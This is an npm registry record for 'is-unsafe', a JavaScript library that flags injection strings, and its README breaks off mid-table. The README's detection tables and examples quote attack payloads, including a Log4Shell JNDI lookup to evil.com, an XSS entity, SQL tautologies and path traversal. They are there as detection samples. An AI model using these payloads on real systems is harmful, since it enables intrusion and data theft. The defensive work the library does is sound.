{"_id":"is-unsafe","_rev":"4-ac3936879b177294e5d0c7aaeb95dba2","name":"is-unsafe","dist-tags":{"latest":"2.0.2"},"versions":{"1.0.0":{"name":"is-unsafe","version":"1.0.0","keywords":["xss","sql-injection","security","safe","predicate","sanitizer","xml","svg","html","shell-injection","redos","unsafe","validator","log","nosql"],"author":{"url":"https://solothought.work/","name":"Amit Gupta"},"license":"MIT","_id":"is-unsafe@1.0.0","maintainers":[{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"}],"homepage":"https://github.com/NaturalIntelligence/is-unsafe#readme","bugs":{"url":"https://github.com/NaturalIntelligence/is-unsafe/issues"},"dist":{"shasum":"8299a1f5e04f9a41c23fa5490f83243c51291f38","tarball":"https://registry.npmjs.org/is-unsafe/-/is-unsafe-1.0.0.tgz","fileCount":14,"integrity":"sha512-sshRQmTfqPN0Mt0++TnSxx3XFOCtsjxNYKUK69vpd2jsqB5IouxFukiRW95ALXCHsnea50i3yS3oWoj4VLFfkQ==","signatures":[{"sig":"MEUCIGJs0ktqDb9Tqr2zh5c67o6/SUhEwMTfldeUhmNxScQ6AiEAl5eokm4xu0Fiu48s8s4Ol8eYYSFe6SO1phAftFFz7f0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":56522},"main":"src/index.js","type":"module","exports":{".":{"import":"./src/index.js","require":"./src/index.cjs"}},"funding":[{"url":"https://github.com/sponsors/NaturalIntelligence","type":"github"}],"scripts":{"test":"jasmine **/*.spec.js","test:watch":"nodemon --exec 'npm test' --watch src --watch specs"},"_npmUser":{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"},"repository":{"url":"git+https://github.com/NaturalIntelligence/is-unsafe.git","type":"git"},"_npmVersion":"11.11.0","description":"Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts","directories":{},"_nodeVersion":"22.14.0","_hasShrinkwrap":false,"devDependencies":{"jasmine":"^5.1.0"},"_npmOperationalInternal":{"tmp":"tmp/is-unsafe_1.0.0_1781180629427_0.7741245974358608","host":"s3://npm-registry-packages-npm-production"}},"1.0.1":{"name":"is-unsafe","version":"1.0.1","keywords":["xss","sql-injection","security","safe","predicate","sanitizer","xml","svg","html","shell-injection","redos","unsafe","validator","log","nosql"],"author":{"url":"https://solothought.work/","name":"Amit Gupta"},"license":"MIT","_id":"is-unsafe@1.0.1","maintainers":[{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"}],"homepage":"https://github.com/NaturalIntelligence/is-unsafe#readme","bugs":{"url":"https://github.com/NaturalIntelligence/is-unsafe/issues"},"dist":{"shasum":"ce89b55dec0034364f5beda41e10481efa8fa317","tarball":"https://registry.npmjs.org/is-unsafe/-/is-unsafe-1.0.1.tgz","fileCount":16,"integrity":"sha512-CLK2+VdgERgD96EYm5lUQssZYlRg2tkZnbsxZoacmSiRxiFJ4Nk4SzjCl+Ur+v3kXIY9dTIdb3IH22y1mZ56LA==","signatures":[{"sig":"MEUCICOgWAi6F/rfEHyECYRpp3wo5Or9foNvwFe+WekjeaaxAiEAlUrkbExXxvX4Z1YxqylVYOs2PDxy9kOndO+7rA3C3Ks=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":58417},"main":"src/index.js","type":"module","types":"./src/index.d.ts","funding":[{"url":"https://github.com/sponsors/NaturalIntelligence","type":"github"}],"gitHead":"e0007690b71eac746d6a47036358083194b1ca92","scripts":{"test":"jasmine **/*.spec.js","test:watch":"nodemon --exec 'npm test' --watch src --watch specs"},"_npmUser":{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"},"repository":{"url":"git+https://github.com/NaturalIntelligence/is-unsafe.git","type":"git"},"_npmVersion":"11.11.0","description":"Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts","directories":{},"_nodeVersion":"22.14.0","_hasShrinkwrap":false,"devDependencies":{"jasmine":"^5.1.0"},"_npmOperationalInternal":{"tmp":"tmp/is-unsafe_1.0.1_1781238073900_0.7145982759709772","host":"s3://npm-registry-packages-npm-production"}},"2.0.0":{"name":"is-unsafe","version":"2.0.0","keywords":["xss","sql-injection","security","safe","predicate","sanitizer","xml","svg","html","shell-injection","redos","unsafe","validator","log","nosql"],"author":{"url":"https://solothought.work/","name":"Amit Gupta"},"license":"MIT","_id":"is-unsafe@2.0.0","maintainers":[{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"}],"homepage":"https://github.com/NaturalIntelligence/is-unsafe#readme","bugs":{"url":"https://github.com/NaturalIntelligence/is-unsafe/issues"},"dist":{"shasum":"c0dce4e06742662dde26360160e414ea487da2e9","tarball":"https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.0.tgz","fileCount":15,"integrity":"sha512-2LdV822R+wmI86unXA93WCFpL6g+av8ynWk0nrHyJqGop5VoocYsSLFgN8jrfalT6iGeLNM4KXuVSsULP53kEA==","signatures":[{"sig":"MEQCIAeh/Vrxeo4HyhNO6CYQTYuFDSBcNa23MSFwubgvthlCAiAdtVKYNcuO+6SLLxisgiwqEfgqCxpMaU7P9Gj4AioWLQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":64506},"main":"./src/index.js","type":"module","types":"./src/index.d.ts","module":"./src/index.js","exports":{".":{"import":"./src/index.js","require":"./src/index.cjs"}},"funding":[{"url":"https://github.com/sponsors/NaturalIntelligence","type":"github"}],"gitHead":"70491cb5f4fca33383b06aabf6e1d71cf07abfb0","scripts":{"test":"jasmine **/*.spec.js","test:watch":"nodemon --exec 'npm test' --watch src --watch specs"},"_npmUser":{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"},"repository":{"url":"git+https://github.com/NaturalIntelligence/is-unsafe.git","type":"git"},"_npmVersion":"11.18.0","description":"Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts","directories":{},"sideEffects":false,"_nodeVersion":"22.14.0","_hasShrinkwrap":false,"devDependencies":{"jasmine":"^5.1.0"},"_npmOperationalInternal":{"tmp":"tmp/is-unsafe_2.0.0_1783761982893_0.23262765835640487","host":"s3://npm-registry-packages-npm-production"}},"2.0.2":{"_id":"is-unsafe@2.0.2","bugs":{"url":"https://github.com/NaturalIntelligence/is-unsafe/issues"},"dist":{"shasum":"bb1ead17f1aa688f6433258b561e98b1a45a1afc","tarball":"https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.2.tgz","fileCount":15,"integrity":"sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ==","signatures":[{"sig":"MEUCIAr9adSNyd0gyBPpUlI2M4hzh8e0oEMzfPKmh/3E5vSqAiEA3O0gRLI97kpqPUqKbV5me1HQhKlbiVtdQKR6xkW8oJI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCICesvpzVExo0qPAALSa3M/5PnLkEJtfmNipV8vyg6VtGAiEA2mo2QinIE/Oy+sZqEK6GgMXlwqU5UC2X9ZwWB3IJSFA="}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/is-unsafe@2.0.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":64551},"main":"./src/index.js","name":"is-unsafe","type":"module","types":"./src/index.d.ts","author":{"url":"https://solothought.com/","name":"Amit Gupta"},"module":"./src/index.js","exports":{".":{"import":"./src/index.js","require":"./src/index.cjs"}},"funding":[{"url":"https://github.com/sponsors/NaturalIntelligence","type":"github"}],"gitHead":"fcc5f3010c1c8e04dbe8baa1f47fee4f2078625f","license":"MIT","scripts":{"test":"jasmine **/*.spec.js","test:watch":"nodemon --exec 'npm test' --watch src --watch specs"},"version":"2.0.2","_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:e07751fc-b0ec-4cd8-86d6-f169f65136c3"}},"homepage":"https://github.com/NaturalIntelligence/is-unsafe#readme","keywords":["xss","sql-injection","security","safe","predicate","sanitizer","xml","svg","html","shell-injection","redos","unsafe","validator","log","nosql"],"repository":{"url":"git+https://github.com/NaturalIntelligence/is-unsafe.git","type":"git"},"_npmVersion":"11.17.0","description":"Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts","directories":{},"maintainers":[{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"}],"sideEffects":false,"_nodeVersion":"24.19.0","_hasShrinkwrap":false,"devDependencies":{"jasmine":"^6.3.0"},"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/is-unsafe_2.0.2_1787142919689_0.5990396523584194"}}},"time":{"created":"2026-06-11T12:23:49.351Z","modified":"2026-08-19T12:35:20.894Z","1.0.0":"2026-06-11T12:23:49.579Z","1.0.1":"2026-06-12T04:21:14.040Z","2.0.0":"2026-07-11T09:26:23.037Z","2.0.2":"2026-08-19T12:35:19.774Z"},"bugs":{"url":"https://github.com/NaturalIntelligence/is-unsafe/issues"},"author":{"url":"https://solothought.com/","name":"Amit Gupta"},"license":"MIT","homepage":"https://github.com/NaturalIntelligence/is-unsafe#readme","keywords":["xss","sql-injection","security","safe","predicate","sanitizer","xml","svg","html","shell-injection","redos","unsafe","validator","log","nosql"],"repository":{"url":"git+https://github.com/NaturalIntelligence/is-unsafe.git","type":"git"},"description":"Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts","maintainers":[{"name":"amitgupta","email":"amitgupta.gwl@gmail.com"}],"readme":"# `is-unsafe`\n\n> Zero-dependency, DOM-free, tree-shakeable pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.\n\n[![npm version](https://img.shields.io/npm/v/is-unsafe.svg)](https://www.npmjs.com/package/is-unsafe)\n[![license](https://img.shields.io/npm/l/is-unsafe.svg)](LICENSE)\n\n---\n\n## Why `is-unsafe`?\n\nSanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.\n\n`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:\n\n> *Is this string value unsafe in a given context?*\n\nIt never mutates strings. It never touches the DOM. It has zero runtime dependencies.\n\n### Motivating use case: `@nodable/entities` / `fast-xml-parser`\n\nDOCTYPE blocks can define custom entities with arbitrary values:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE urlset [\n  <!ENTITY xss '</script><script>alert(document.domain)</script><x y=\"'>\n]>\n<urlset>\n  <url><loc>https://example.com/&xss;</loc></url>\n</urlset>\n```\n\nWhen `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.\n\n---\n\n## Installation\n\n```sh\nnpm install is-unsafe\n```\n\n---\n\n## Quick start\n\n```js\nimport { isUnsafe, HTML, SQL, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';\n\nisUnsafe('<script>alert(1)</script>', HTML)    // → true\nisUnsafe('New York, NY',             HTML)    // → false\n\nisUnsafe(\"' OR 1=1--\",              SQL)      // → true\nisUnsafe('../etc/passwd',           SHELL)    // → true\nisUnsafe('(a+)+',                   REDOS)    // → true  (ReDoS risk)\nisUnsafe('{\"$ne\": null}',           NOSQL)    // → true\nisUnsafe('${jndi:ldap://evil.com}', LOG)      // → true  (Log4Shell)\n```\n\n---\n\n## v2 Migration guide\n\nv2 replaces string context names with **imported pattern arrays**. This is the only breaking change.\n\n| v1 | v2 |\n|----|----|\n| `import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe'` | `import { isUnsafe, HTML, XML } from 'is-unsafe'` |\n| `isUnsafe(v, 'HTML')` | `isUnsafe(v, HTML)` |\n| `isUnsafe(v, ['HTML', 'XML'])` | `isUnsafe(v, [HTML, XML])` |\n| `for (const ctx in VALID_CONTEXTS) { isUnsafe(v, ctx) }` | `for (const ctx of Object.values(VALID_CONTEXTS)) { isUnsafe(v, ctx) }` |\n\n**Why the change?** String names required a central registry that imported all 9 context modules unconditionally. Even if you only used `HTML` and `XML`, your bundle included all contexts (~22 KB dead weight). With named imports, bundlers include only what you actually import.\n\n---\n\n## API\n\n### `isUnsafe(value, context)` → `boolean`\n\nReturns `true` if `value` is unsafe in the given context, `false` otherwise.\n\n| Parameter | Type | Description |\n|-----------|------|-------------|\n| `value` | `string` | The string to test. Throws `TypeError` if not a string. |\n| `context` | `PatternList \\| PatternList[] \\| RegExp` | A named context import, array of context imports, or a custom `RegExp`. |\n\n```js\nimport { isUnsafe, HTML, XML } from 'is-unsafe';\n\n// Single context\nisUnsafe(value, HTML)\n\n// Multiple contexts — true if unsafe in ANY of them\nisUnsafe(value, [HTML, XML])\n\n// Custom RegExp — true if pattern matches\nisUnsafe(value, /my-pattern/i)\n```\n\n---\n\n### `whyUnsafe(value, context)` → `MatchResult | null`\n\nLike `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.\n\n```js\nimport { whyUnsafe, HTML } from 'is-unsafe';\n\nconst result = whyUnsafe('<script>alert(1)</script>', HTML);\n// {\n//   context:     'HTML',\n//   id:          'html-script-open',\n//   description: '<script opening tag',\n//   pattern:     /<script[\\s>/]/i\n// }\n```\n\n---\n\n### `allUnsafe(value, context)` → `MatchResult[]`\n\nReturns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.\n\n```js\nimport { allUnsafe, HTML } from 'is-unsafe';\n\nconst findings = allUnsafe('<script onload=\"x\"></script>', HTML);\n// [\n//   { context: 'HTML', id: 'html-script-open',          ... },\n//   { context: 'HTML', id: 'html-script-close',         ... },\n//   { context: 'HTML', id: 'html-inline-event-handler', ... }\n// ]\n```\n\n---\n\n### Named context exports\n\nEach context is a named export. Import only what your code uses — unused contexts are dropped by your bundler.\n\n```js\nimport { HTML, XML, SVG, SQL, SQL_STRICT, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';\n```\n\nNote: `SQL-STRICT` is exported as `SQL_STRICT` (hyphens are not valid in JS identifiers).\n\n---\n\n### Custom `PatternList`\n\nYou can supply your own pattern list alongside or instead of the built-in contexts:\n\n```js\nimport { isUnsafe, whyUnsafe, HTML } from 'is-unsafe';\n\nconst INTERNAL_RULES = [\n  { id: 'no-internal-ref', description: 'Blocks references to internal hostnames', pattern: /\\.internal\\b/i },\n  { id: 'no-admin-path',   description: 'Blocks paths starting with /admin',        pattern: /\\/admin\\b/i   },\n];\n\n// Optional — sets the context label in MatchResult. Defaults to 'CUSTOM'.\nINTERNAL_RULES.label = 'INTERNAL';\n\nisUnsafe('https://api.internal/data', INTERNAL_RULES)  // true\nisUnsafe('https://example.com/page',  INTERNAL_RULES)  // false\n\n// Mix with built-in contexts\nisUnsafe(value, [HTML, INTERNAL_RULES]);\n\nconst result = whyUnsafe('https://api.internal/admin', INTERNAL_RULES);\n// { context: 'INTERNAL', id: 'no-internal-ref', description: '...', pattern: /.../ }\n```\n\nWithout setting `.label`, `MatchResult.context` will be `'CUSTOM'`.\n\n---\n\n### `VALID_CONTEXTS`\n\nA convenience object that re-exports all contexts under their canonical names. Useful for tooling or exhaustive checks across all contexts.\n\n> **Warning:** importing `VALID_CONTEXTS` pulls in all 9 context modules. If your bundle size matters and you only need a few contexts, import them individually instead.\n\n```js\nimport { VALID_CONTEXTS } from 'is-unsafe';\n\n// { HTML: [...], XML: [...], SVG: [...], SQL: [...], 'SQL-STRICT': [...],\n//   SHELL: [...], REDOS: [...], NOSQL: [...], LOG: [...] }\n\n// Iterate all contexts:\nfor (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {\n  if (isUnsafe(value, ctx)) console.log(`Unsafe in ${name}`);\n}\n```\n\n---\n\n## Contexts\n\n### `HTML`\n\nXSS vectors when a string is rendered as HTML:\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `html-script-open` | `<script` opening tag |\n| `html-script-close` | `</script>` closing tag |\n| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |\n| `html-vbscript-protocol` | `vbscript:` URI |\n| `html-data-html` | `data:text/html` URI |\n| `html-data-xhtml` | `data:application/xhtml+xml` URI |\n| `html-data-svg` | `data:image/svg+xml` URI |\n| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |\n| `html-entity-obfuscated-script` | `&#x3C;script`, `&#60;script`, `&lt;script` |\n| `html-entity-obfuscated-javascript` | Hex/decimal entity encoding of `javascript:` |\n| `html-style-expression` | CSS `expression()` — IE code execution |\n| `html-object-embed` | `<object>` and `<embed>` tags |\n| `html-base-tag` | `<base href=` — relative URL hijacking |\n| `html-meta-refresh` | `<meta http-equiv=\"refresh\"` |\n| `html-srcdoc` | `srcdoc=` attribute on iframes |\n| `html-iframe` | `<iframe` tag |\n| `html-form` | `<form` tag — phishing injection |\n\n---\n\n### `XML`\n\nParser-level attacks in XML documents (distinct from HTML XSS):\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `xml-cdata-injection` | `<![CDATA[` injection |\n| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |\n| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |\n| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |\n| `xml-entity-system` | `SYSTEM \"...\"` — XXE external entity |\n| `xml-entity-public` | `PUBLIC \"...\"` — XXE external entity |\n| `xml-entity-declaration` | `<!ENTITY` declaration |\n| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |\n| `xml-namespace-confusion` | `xmlns=` attribute injection |\n| `xml-comment-injection` | `<!--` comment open |\n| `xml-comment-close` | `-->` comment close |\n| `xml-pi-close` | `?>` processing instruction close |\n\n---\n\n### `SVG`\n\nSVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `svg-script-element` | `<script` inside SVG |\n| `svg-xlink-href-javascript` | `xlink:href=\"javascript:...\"` |\n| `svg-href-javascript` | `href=\"javascript:...\"` |\n| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |\n| `svg-use-external` | `<use href=` pointing to external URL |\n| `svg-animate-href` | `<animate attributeName=\"href\"` — dynamic href injection |\n| `svg-animate-xlinkhref` | `<animate attributeName=\"xlink:href\"` |\n| `svg-set-javascript` | `<set to=\"javascript:...\"` |\n| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |\n| `svg-filter-feimage` | `<feImage href=` — external resource load |\n| `svg-image-external` | `<image xlink:href=` with http/javascript URL |\n| `svg-style-javascript` | `style=` containing `javascript:` |\n\n---\n\n### `SQL` and `SQL_STRICT`\n\nTwo tiers of SQL injection detection, chosen based on what kind of input you're validating.\n\n**Use `SQL`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.\n\n**Use `SQL_STRICT`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:\n\n| Extra rule in SQL_STRICT | Why it's noisy on general text |\n|--------------------------|-------------------------------|\n| `sql-line-comment` (`--`) | Fires on `\"see note -- above\"`, CSS `var(--primary)` |\n| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |\n| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |\n\n**Base `SQL` rules (present in both):**\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `sql-block-comment` | `/*` — comment-based bypass |\n| `sql-union-select` | `UNION SELECT` — data extraction |\n| `sql-tautology-or` | `OR 1=1`, `OR 'a'='a'` — always-true bypass |\n| `sql-tautology-and` | `AND 1=1`, `AND 'a'='a'` |\n| `sql-quote-escape` | `\\'` or `''` — string termination attempts |\n| `sql-drop-table` | `DROP TABLE` |\n| `sql-insert-into` | `INSERT INTO` |\n| `sql-delete-from` | `DELETE FROM` |\n| `sql-update-set` | `UPDATE ... SET` |\n| `sql-exec-xp` | `EXEC xp_` — SQL Server extended procedures |\n| `sql-sleep-waitfor` | `SLEEP(` / `WAITFOR DELAY` — time-based blind injection |\n| `sql-cast-convert` | `CAST(` / `CONVERT(` — obfuscation |\n| `sql-char-function` | `CHAR(` — ASCII character encoding |\n| `sql-information-schema` | `INFORMATION_SCHEMA` — metadata extraction |\n| `sql-load-file` | `LOAD_FILE(` / `INTO OUTFILE` — file system access |\n\n---\n\n### `SHELL`\n\nShell injection and path traversal vectors:\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `shell-path-traversal-unix` | `../` — Unix directory traversal |\n| `shell-path-traversal-win` | `..\\` — Windows directory traversal |\n| `shell-absolute-path-unix` | Leading `/` — absolute Unix path |\n| `shell-absolute-path-win` | `C:\\` / `D:\\` etc. — absolute Windows path |\n| `shell-null-byte` | `\\x00` or `%00` — null byte injection |\n| `shell-command-subst` | `` `cmd` `` / `$(cmd)` — command substitution |\n| `shell-pipe` | `|` — command piping |\n| `shell-semicolon` | `;` — command chaining |\n| `shell-ampersand` | `&&` / `&` — background / logical AND |\n| `shell-redirect` | `>` / `>>` / `<` — I/O redirection |\n\n---\n\n### `REDOS`\n\nPatterns dangerous when compiled as a RegExp (catastrophic backtracking):\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `redos-nested-quantifier` | `(a+)+`, `(a*)*` — nested quantifiers |\n| `redos-overlapping-alternation` | `(a|a)+` — ambiguous alternation |\n| `redos-star-plus-adjacent` | `a*+` / `(a+)*` — adjacent unbounded quantifiers |\n\n---\n\n### `NOSQL`\n\nMongoDB query operator injection and prototype pollution:\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `nosql-where-operator` | `$where:` — server-side JS execution |\n| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |\n| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |\n| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |\n| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |\n| `nosql-or-operator` | `$or: [` — always-true condition injection |\n| `nosql-and-operator` | `$and: [` — logical AND injection |\n| `nosql-nor-operator` | `$nor: [` — logical NOR injection |\n| `nosql-exists-operator` | `$exists:` — field enumeration |\n| `nosql-in-operator` | `$in: [` — value enumeration |\n| `nosql-expr-operator` | `$expr:` — aggregation expression injection |\n| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |\n| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |\n| `nosql-proto-pollution` | `__proto__` — prototype pollution |\n| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |\n| `nosql-proto-bracket` | `[\"__proto__\"]` — bracket-notation prototype pollution |\n\nPatterns handle both bare form (`$ne: null`) and JSON key form (`{\"$ne\": null}`) by allowing an optional closing quote between the operator name and the colon.\n\n---\n\n### `LOG`\n\nInjection vectors dangerous when a string is written to a log file or passed to a logging framework:\n\n| Rule ID | What it catches |\n|---------|----------------|\n| `log-crlf-injection` | Literal `\\r` or `\\n` — fake log line injection |\n| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |\n| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |\n| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |\n| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |\n| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |\n| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |\n| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |\n| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |\n| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |\n| `log-null-byte` | `\\x00` or `%00` — truncates log entries |\n| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |\n\n> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\\n`, `\\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.\n\n---\n\n## Integration examples\n\n### `@nodable/entities` — `postCheck` callback (the motivating use case)\n\n```js\nimport { isUnsafe, HTML } from 'is-unsafe';\nimport { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';\n\nconst dec = new EntityDecoder({\n  namedEntities: ALL_ENTITIES,\n  postCheck: (resolved, original) => {\n    if (isUnsafe(resolved, HTML)) {\n      return original;               // keep literal &entity; reference\n      // or: throw new Error(`Unsafe entity blocked: ${original}`);\n      // or: return '[BLOCKED]';\n    }\n    return resolved;\n  }\n});\n```\n\nOnly `html.js` ends up in your bundle — `XML`, `SQL`, and all other contexts are excluded automatically.\n\n### `fast-xml-parser` — entity check for HTML + XML contexts\n\n```js\nimport { isUnsafe, HTML, XML } from 'is-unsafe';\n\nonInputEntity: (name, value) =>\n  isUnsafe(value, [HTML, XML]) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,\n```\n\nBundle cost: only `html.js` + `xml.js` (~5.8 KB).\n\n### Logging with `whyUnsafe`\n\n```js\nimport { isUnsafe, whyUnsafe, HTML, SQL } from 'is-unsafe';\n\nfunction safeInsert(value, context) {\n  if (isUnsafe(value, context)) {\n    const reason = whyUnsafe(value, context);\n    logger.warn('Blocked unsafe value', { ruleId: reason.id, context: reason.context });\n    throw new Error(`Unsafe value rejected (${reason.id})`);\n  }\n  return value;\n}\n```\n\n### Auditing with `allUnsafe`\n\n```js\nimport { allUnsafe, HTML, SQL, SHELL } from 'is-unsafe';\n\nconst findings = allUnsafe(userInput, [HTML, SQL, SHELL]);\nif (findings.length > 0) {\n  auditLog.record({ input: userInput, findings: findings.map(f => f.id) });\n}\n```\n\n### SQL vs SQL_STRICT — choosing the right tier\n\n```js\nimport { isUnsafe, SQL, SQL_STRICT } from 'is-unsafe';\n\n// General text field (name, description, comment) — use SQL\nfunction validateUserBio(bio) {\n  if (isUnsafe(bio, SQL)) throw new Error('Invalid content');\n  return bio;\n}\n\n// Dedicated SQL identifier input (table name picker, column filter) — use SQL_STRICT\nfunction validateTableName(name) {\n  if (isUnsafe(name, SQL_STRICT)) throw new Error('Invalid identifier');\n  return name;\n}\n\nvalidateUserBio(\"see note -- above\");  // passes (-- alone is fine for general text)\nvalidateTableName(\"users -- comment\"); // blocked by SQL_STRICT\n```\n\n### File upload path guard\n\n```js\nimport { isUnsafe, SHELL } from 'is-unsafe';\n\nfunction validateUploadPath(filename) {\n  if (isUnsafe(filename, SHELL)) throw new Error('Invalid filename');\n  return filename;\n}\n\nvalidateUploadPath('document.pdf');          // OK\nvalidateUploadPath('../../../etc/passwd');   // throws\nvalidateUploadPath('file.txt\\x00.jpg');      // throws (null byte)\n```\n\n### User-supplied regex guard\n\n```js\nimport { isUnsafe, whyUnsafe, REDOS } from 'is-unsafe';\n\nfunction compileUserRegex(pattern) {\n  if (isUnsafe(pattern, REDOS)) {\n    const detail = whyUnsafe(pattern, REDOS);\n    throw new Error(`ReDoS risk in pattern (${detail.id})`);\n  }\n  return new RegExp(pattern);\n}\n\ncompileUserRegex('^[a-z]+$');   // OK\ncompileUserRegex('(a+)+');      // throws — nested quantifier\n```\n\n### MongoDB input guard\n\n```js\nimport { isUnsafe, NOSQL } from 'is-unsafe';\n\nfunction safeMongoValue(value) {\n  if (isUnsafe(value, NOSQL)) throw new Error('Unsafe MongoDB value');\n  return value;\n}\n\nsafeMongoValue('alice');            // OK\nsafeMongoValue('{\"$ne\": null}');    // throws — $ne bypass\nsafeMongoValue('__proto__');        // throws — prototype pollution\n```\n\n### Log field guard\n\n```js\nimport { isUnsafe, LOG } from 'is-unsafe';\n\nfunction safeLogField(value) {\n  if (isUnsafe(value, LOG)) throw new Error('Unsafe log value');\n  return value;\n}\n\nsafeLogField('alice');                      // OK\nsafeLogField('${jndi:ldap://evil.com}');    // throws — Log4Shell\nsafeLogField(\"value\\nfake log entry\");      // throws — CRLF injection\n```\n\n### Checking all contexts (tooling / security scanners)\n\n```js\nimport { isUnsafe, VALID_CONTEXTS } from 'is-unsafe';\n\nfor (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {\n  if (isUnsafe(value, ctx)) {\n    console.log(`Unsafe in ${name}`);\n  }\n}\n```\n\n> Note: this import brings in all 9 context modules. Fine for CLI tools and scanners; use individual named imports in application bundles.\n\n---\n\n## Design principles\n\n| Principle | Detail |\n|-----------|--------|\n| **Predicate only** | Returns `true`/`false`. Never mutates strings. |\n| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |\n| **Tree-shakeable** | Each context is an independent named export. Unused contexts are dropped by bundlers. |\n| **Context-aware** | \"Unsafe\" is not absolute — it depends on where the value will be used. |\n| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |\n| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |\n| **Extensible** | Custom `PatternList` arrays work alongside built-in contexts. Set `.label` on your list to get meaningful context names in 